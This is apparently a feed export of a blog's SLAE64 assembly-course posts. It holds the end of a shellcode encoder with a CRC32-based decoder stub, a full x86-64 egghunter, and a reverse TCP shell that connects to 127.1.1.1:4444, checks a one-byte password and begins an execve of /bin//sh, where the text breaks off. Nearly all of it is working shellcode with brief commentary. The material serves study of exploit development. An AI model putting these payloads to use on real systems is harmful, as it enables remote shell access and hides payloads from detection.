<span class="n">rand_int</span><span class="o">=</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">substitution_dict</span><span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]])</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">substitution_dict</span><span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]][</span><span class="n">rand_int</span><span class="p">]</span><span class="o">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>
<span class="n">encoded</span> <span class="o">+=</span> <span class="n">substitution_dict</span><span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]][</span><span class="n">rand_int</span><span class="p">]</span><span class="o">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="nb">iter</span><span class="p">(</span><span class="n">encoded</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="s1">',0x'</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">b</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span><span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="n">t</span><span class="p">))</span>
<span class="n">final</span> <span class="o">=</span> <span class="s1">'0x'</span> <span class="o">+</span> <span class="n">output</span>
<span class="nb">print</span> <span class="n">final</span>
<span class="nb">print</span> <span class="s1">'Len: </span><span class="si">%d</span><span class="s1">'</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="nb">bytearray</span><span class="p">(</span><span class="n">final</span><span class="p">))</span>
</code></pre></div></td></tr></table></div>
<p>Decoder.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="k">global</span><span class="w"> </span><span class="nv">_start</span>
<span class="k">section</span><span class="w"> </span><span class="nv">.text</span>
<span class="nl">_start:</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="nv">decoder</span><span class="w"> </span>
<span class="w"> </span><span class="nl">encoded_shellcode:</span><span class="w"> </span><span class="kd">db</span><span class="w"> </span><span class="mh">0x17</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x9f</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0x7e</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x70</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x19</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x57</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x99</span><span class="p">,</span><span class="mh">0x2a</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x3d</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x92</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x25</span><span class="p">,</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0xe7</span><span class="p">,</span><span class="mh">0x37</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">,</span><span class="mh">0x25</span><span class="p">,</span><span class="mh">0x90</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x15</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">,</span><span class="mh">0x25</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x46</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x35</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0xc2</span><span class="p">,</span><span class="mh">0x7a</span><span class="p">,</span><span class="mh">0x1d</span><span class="p">,</span><span class="mh">0xe1</span><span class="p">,</span><span class="mh">0xfc</span>
<span class="nl">decoder:</span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="ow">rel</span><span class="w"> </span><span class="nv">encoded_shellcode</span><span class="p">]</span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="nb">rbx</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rcx</span><span class="p">,</span><span class="w"> </span><span class="nb">rcx</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">r10</span><span class="p">,</span><span class="w"> </span><span class="nb">r10</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">r11</span><span class="p">,</span><span class="w"> </span><span class="nb">r11</span>
<span class="nl">decode:</span><span class="w"> </span><span class="c1">; every 3 bytes of encoded shellcode encodes 2 bytes of actual shellcode</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">ebx</span><span class="p">,</span><span class="w"> </span><span class="nb">ebx</span><span class="w"> </span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">bl</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">rcx</span><span class="p">]</span>
<span class="w"> </span><span class="nf">shl</span><span class="w"> </span><span class="nb">ebx</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">bl</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">rcx</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">]</span>
<span class="w"> </span><span class="nf">shl</span><span class="w"> </span><span class="nb">ebx</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">bl</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">rcx</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="p">]</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">r8</span><span class="p">,</span><span class="w"> </span><span class="nb">r8</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">r9</span><span class="p">,</span><span class="w"> </span><span class="nb">r9</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">r8d</span><span class="p">,</span><span class="w"> </span><span class="nb">ebx</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">r9d</span><span class="p">,</span><span class="w"> </span><span class="nb">ebx</span>
<span class="w"> </span><span class="nf">shr</span><span class="w"> </span><span class="nb">r8d</span><span class="p">,</span><span class="w"> </span><span class="mi">12</span><span class="w"> </span><span class="c1">; r8d - 1st byte of shellcode (stored in first 12 bits)</span>
<span class="w"> </span><span class="nf">shl</span><span class="w"> </span><span class="nb">r9d</span><span class="p">,</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span>
<span class="w"> </span><span class="nf">shr</span><span class="w"> </span><span class="nb">r9d</span><span class="p">,</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="c1">; r9d - 2nd byte of shellcode (stored in last 12 bits)</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">eax</span><span class="p">,</span><span class="w"> </span><span class="nb">eax</span>
<span class="w"> </span><span class="nf">crc32</span><span class="w"> </span><span class="nb">r8d</span><span class="p">,</span><span class="w"> </span><span class="nb">eax</span><span class="w"> </span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">eax</span><span class="p">,</span><span class="w"> </span><span class="nb">eax</span>
<span class="w"> </span><span class="nf">crc32</span><span class="w"> </span><span class="nb">r9d</span><span class="p">,</span><span class="w"> </span><span class="nb">eax</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">r11</span><span class="p">],</span><span class="w"> </span><span class="nb">r8b</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">r11</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="nb">r9b</span>
<span class="w"> </span><span class="nf">cmp</span><span class="w"> </span><span class="nb">cl</span><span class="p">,</span><span class="w"> </span><span class="mi">60</span><span class="w"> </span><span class="c1">; replace 60 with length of encoded shellcode in bytes</span>
<span class="w"> </span><span class="nf">je</span><span class="w"> </span><span class="nv">encoded_shellcode</span>
<span class="w"> </span><span class="nf">add</span><span class="w"> </span><span class="nb">cl</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="c1">; cl - current position of encoded shellcode</span>
<span class="w"> </span><span class="nf">add</span><span class="w"> </span><span class="nb">r11</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">; r11 - current position of actual shellcode</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="nv">short</span><span class="w"> </span><span class="nv">decode</span>
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>SLAE64 #3 - Egghunter shellcode2019-05-18T10:20:00+08:002019-05-18T10:20:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-18:/articles/slae64-3-egghunter-shellcode.html<p>As usual, I will only be touching on interesting or unique points in the shellcode.</p>
<ol>
<li>Line 25/26: To avoid having the egg in memory, I moved <code>0x5090508f</code> into a register and incremented it to get <code>0x50905090</code></li>
<li>Line 27: <code>repne scasd</code> searches the next 4 bytes and increments the address …</li></ol><p>As usual, I will only be touching on interesting or unique points in the shellcode.</p>
<ol>
<li>Line 25/26: To avoid having the egg in memory, I moved <code>0x5090508f</code> into a register and incremented it to get <code>0x50905090</code></li>
<li>Line 27: <code>repne scasd</code> searches the next 4 bytes and increments the address searched automatically. This saves space compared to manual searching. However, the caveat is that it only searches at every 4 byte boundary. Hence there is a need for padding. For actual use, you might have to seed the memory with shellcode with different padding prepended.</li>
</ol>
<p>Egghunter.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="k">global</span><span class="w"> </span><span class="nv">_start</span>
<span class="k">section</span><span class="w"> </span><span class="nv">.text</span>
<span class="nl">_start:</span><span class="w"> </span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">dh</span><span class="p">,</span><span class="w"> </span><span class="mh">0x10</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsi</span>
<span class="nl">check_access:</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mh">0x15</span><span class="w"> </span>
<span class="w"> </span><span class="nf">syscall</span><span class="w"> </span><span class="c1">; access syscall</span>
<span class="w"> </span><span class="nf">cmp</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="o">-</span><span class="mi">14</span><span class="w"> </span>
<span class="w"> </span><span class="nf">jne</span><span class="w"> </span><span class="nv">short</span><span class="w"> </span><span class="nv">finding_egg</span>
<span class="w"> </span><span class="nf">inc</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="nv">short</span><span class="w"> </span><span class="nv">check_access</span>
<span class="nl">finding_egg:</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rcx</span><span class="p">,</span><span class="w"> </span><span class="nb">rcx</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">cl</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4</span><span class="w"> </span>
<span class="w"> </span><span class="nf">shl</span><span class="w"> </span><span class="nb">rcx</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="c1">; find egg within page with access</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">eax</span><span class="p">,</span><span class="w"> </span><span class="mh">0x5090508f</span>
<span class="w"> </span><span class="nf">inc</span><span class="w"> </span><span class="nb">eax</span><span class="c1">; ; egghunter signature itself is never present in memory</span>
<span class="w"> </span><span class="nf">repne</span><span class="w"> </span><span class="nv">scasd</span>
<span class="w"> </span><span class="nf">jne</span><span class="w"> </span><span class="nv">short</span><span class="w"> </span><span class="nv">check_access</span><span class="w"> </span><span class="c1">; not found within this page, going back to check access</span>
<span class="nl">found:</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="nb">rdi</span>
<span class="k">section</span><span class="w"> </span><span class="nv">.data</span>
<span class="w"> </span><span class="nl">_padding:</span><span class="w"> </span><span class="kd">db</span><span class="w"> </span><span class="mh">0x90</span><span class="p">,</span><span class="w"> </span><span class="mh">0x90</span><span class="p">,</span><span class="w"> </span><span class="mh">0x90</span><span class="w"> </span><span class="c1">; padding to align egg to 4 byte boundary</span>
<span class="w"> </span><span class="nl">_egg:</span><span class="w"> </span><span class="kd">db</span><span class="w"> </span><span class="mh">0x90</span><span class="p">,</span><span class="w"> </span><span class="mh">0x50</span><span class="p">,</span><span class="w"> </span><span class="mh">0x90</span><span class="p">,</span><span class="w"> </span><span class="mh">0x50</span><span class="p">,</span><span class="w"> </span><span class="mh">0x48</span><span class="p">,</span><span class="w"> </span><span class="mh">0x31</span><span class="p">,</span><span class="w"> </span><span class="mh">0xc9</span><span class="p">,</span><span class="w"> </span><span class="mh">0x48</span><span class="p">,</span><span class="w"> </span><span class="mh">0xf7</span><span class="p">,</span><span class="w"> </span><span class="mh">0xe1</span><span class="p">,</span><span class="w"> </span><span class="mh">0x50</span><span class="p">,</span><span class="w"> </span><span class="mh">0x5f</span><span class="p">,</span><span class="w"> </span><span class="mh">0xff</span><span class="p">,</span><span class="w"> </span><span class="mh">0xc0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x48</span><span class="p">,</span><span class="w"> </span><span class="mh">0x83</span><span class="p">,</span><span class="w"> </span><span class="mh">0xc2</span><span class="p">,</span><span class="w"> </span><span class="mh">0x08</span><span class="p">,</span><span class="w"> </span><span class="mh">0x68</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4f</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4b</span><span class="p">,</span><span class="w"> </span><span class="mh">0x20</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0a</span><span class="p">,</span><span class="w"> </span><span class="mh">0x48</span><span class="p">,</span><span class="w"> </span><span class="mh">0x89</span><span class="p">,</span><span class="w"> </span><span class="mh">0xe6</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0f</span><span class="p">,</span><span class="w"> </span><span class="mh">0x05</span><span class="p">,</span><span class="w"> </span><span class="mh">0x6a</span><span class="p">,</span><span class="w"> </span><span class="mh">0x3c</span><span class="p">,</span><span class="w"> </span><span class="mh">0x58</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0f</span><span class="p">,</span><span class="w"> </span><span class="mh">0x05</span>
</code></pre></div></td></tr></table></div>
<p>This blog post has (not) been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>
<p>Student ID: SLAE64-XXXXX</p>SLAE64 #2 - Revshell TCP shellcode2019-05-17T22:45:00+08:002019-05-17T22:45:00+08:00Benjamin Limtag:limbenjamin.com,2019-05-17:/articles/slae64-2-revshell-tcp-shellcode.html<p>This shellcode is very similar to the <a href="//limbenjamin.com/articles/slae64-1-bindshell-tcp-shellcode.html">Bindshell TCP shellcode</a>, so please refer to it for the unique and interesting points. There is only 1 additional point I would like to make:</p>
<ol>
<li>Line 8/37: Listen on 127.1.1.1 instead of 127.0.0.1. This saves us …</li></ol><p>This shellcode is very similar to the <a href="//limbenjamin.com/articles/slae64-1-bindshell-tcp-shellcode.html">Bindshell TCP shellcode</a>, so please refer to it for the unique and interesting points. There is only 1 additional point I would like to make:</p>
<ol>
<li>Line 8/37: Listen on 127.1.1.1 instead of 127.0.0.1. This saves us from having to nullify the 2 bytes in the middle.</li>
</ol>
<p>Total size: 122 bytes</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal"> 10</span>
<span class="normal"> 11</span>
<span class="normal"> 12</span>
<span class="normal"> 13</span>
<span class="normal"> 14</span>
<span class="normal"> 15</span>
<span class="normal"> 16</span>
<span class="normal"> 17</span>
<span class="normal"> 18</span>
<span class="normal"> 19</span>
<span class="normal"> 20</span>
<span class="normal"> 21</span>
<span class="normal"> 22</span>
<span class="normal"> 23</span>
<span class="normal"> 24</span>
<span class="normal"> 25</span>
<span class="normal"> 26</span>
<span class="normal"> 27</span>
<span class="normal"> 28</span>
<span class="normal"> 29</span>
<span class="normal"> 30</span>
<span class="normal"> 31</span>
<span class="normal"> 32</span>
<span class="normal"> 33</span>
<span class="normal"> 34</span>
<span class="normal"> 35</span>
<span class="normal"> 36</span>
<span class="normal"> 37</span>
<span class="normal"> 38</span>
<span class="normal"> 39</span>
<span class="normal"> 40</span>
<span class="normal"> 41</span>
<span class="normal"> 42</span>
<span class="normal"> 43</span>
<span class="normal"> 44</span>
<span class="normal"> 45</span>
<span class="normal"> 46</span>
<span class="normal"> 47</span>
<span class="normal"> 48</span>
<span class="normal"> 49</span>
<span class="normal"> 50</span>
<span class="normal"> 51</span>
<span class="normal"> 52</span>
<span class="normal"> 53</span>
<span class="normal"> 54</span>
<span class="normal"> 55</span>
<span class="normal"> 56</span>
<span class="normal"> 57</span>
<span class="normal"> 58</span>
<span class="normal"> 59</span>
<span class="normal"> 60</span>
<span class="normal"> 61</span>
<span class="normal"> 62</span>
<span class="normal"> 63</span>
<span class="normal"> 64</span>
<span class="normal"> 65</span>
<span class="normal"> 66</span>
<span class="normal"> 67</span>
<span class="normal"> 68</span>
<span class="normal"> 69</span>
<span class="normal"> 70</span>
<span class="normal"> 71</span>
<span class="normal"> 72</span>
<span class="normal"> 73</span>
<span class="normal"> 74</span>
<span class="normal"> 75</span>
<span class="normal"> 76</span>
<span class="normal"> 77</span>
<span class="normal"> 78</span>
<span class="normal"> 79</span>
<span class="normal"> 80</span>
<span class="normal"> 81</span>
<span class="normal"> 82</span>
<span class="normal"> 83</span>
<span class="normal"> 84</span>
<span class="normal"> 85</span>
<span class="normal"> 86</span>
<span class="normal"> 87</span>
<span class="normal"> 88</span>
<span class="normal"> 89</span>
<span class="normal"> 90</span>
<span class="normal"> 91</span>
<span class="normal"> 92</span>
<span class="normal"> 93</span>
<span class="normal"> 94</span>
<span class="normal"> 95</span>
<span class="normal"> 96</span>
<span class="normal"> 97</span>
<span class="normal"> 98</span>
<span class="normal"> 99</span>
<span class="normal">100</span>
<span class="normal">101</span>
<span class="normal">102</span>
<span class="normal">103</span>
<span class="normal">104</span>
<span class="normal">105</span>
<span class="normal">106</span>
<span class="normal">107</span>
<span class="normal">108</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="k">global</span><span class="w"> </span><span class="nv">_start</span>
<span class="k">section</span><span class="w"> </span><span class="nv">.text</span>
<span class="nl">_start:</span>
<span class="w"> </span><span class="nf">jmp</span><span class="w"> </span><span class="kc">$</span><span class="o">+</span><span class="mi">10</span>
<span class="w"> </span><span class="nl">rev_data_struct:</span><span class="w"> </span><span class="kd">db</span><span class="w"> </span><span class="mh">0x02</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x11</span><span class="p">,</span><span class="w"> </span><span class="mh">0x5c</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7f</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span><span class="p">,</span><span class="w"> </span><span class="mh">0x01</span>
<span class="nl">shell:</span>
<span class="w"> </span><span class="c1">; store data struct address in r8</span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="nb">r8</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="ow">rel</span><span class="w"> </span><span class="nv">rev_data_struct</span><span class="p">]</span>
<span class="w"> </span><span class="c1">; sock = socket(AF_INET, SOCK_STREAM, 0)</span>
<span class="w"> </span><span class="c1">; AF_INET = 2</span>
<span class="w"> </span><span class="c1">; SOCK_STREAM = 1</span>
<span class="w"> </span><span class="c1">; syscall number 41</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">41</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rdi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">dil</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rdx</span><span class="p">,</span><span class="w"> </span><span class="nb">rdx</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; copy socket descriptor to rdi for future use</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rdi</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; server.sin_family = AF_INET </span>
<span class="w"> </span><span class="c1">; server.sin_port = htons(PORT)</span>
<span class="w"> </span><span class="c1">; server.sin_addr.s_addr = inet_addr("127.1.1.1")</span>
<span class="w"> </span><span class="c1">; bzero(&server.sin_zero, 8)</span>
<span class="w"> </span><span class="c1">; remove 0x1 by subtracting</span>
<span class="w"> </span><span class="nf">sub</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">r8</span><span class="o">+</span><span class="mi">1</span><span class="p">],</span><span class="w"> </span><span class="mh">0x1</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">42</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">r8</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">dl</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; duplicate sockets</span>
<span class="w"> </span><span class="c1">; STDIN</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">33</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="nb">rsi</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; STDOUT</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">33</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; STDERR</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">al</span><span class="p">,</span><span class="w"> </span><span class="mi">33</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nv">sil</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">;read password and store in first byte of r8</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="nb">rsi</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="nb">r8</span><span class="p">]</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">dl</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span>
<span class="w"> </span><span class="nf">syscall</span>
<span class="w"> </span><span class="c1">; check password against expected password | , if fail jump out of bounds, should cause a segfault</span>
<span class="w"> </span><span class="nf">cmp</span><span class="w"> </span><span class="kt">byte</span><span class="w"> </span><span class="p">[</span><span class="nb">rsi</span><span class="p">],</span><span class="w"> </span><span class="mh">0x7C</span>
<span class="w"> </span><span class="nf">jnz</span><span class="w"> </span><span class="kc">$</span><span class="o">+</span><span class="mi">44</span>
<span class="w"> </span><span class="c1">; execve</span>
<span class="w"> </span><span class="c1">; First NULL push</span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="nb">rax</span><span class="p">,</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="nb">rax</span>
<span class="w"> </span><span class="c1">; push /bin//sh in reverse</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="nb">rbx</span><span class="p">,</span><span class="w"> </span><span class="mh">0x68732f2f6e69622f</span>
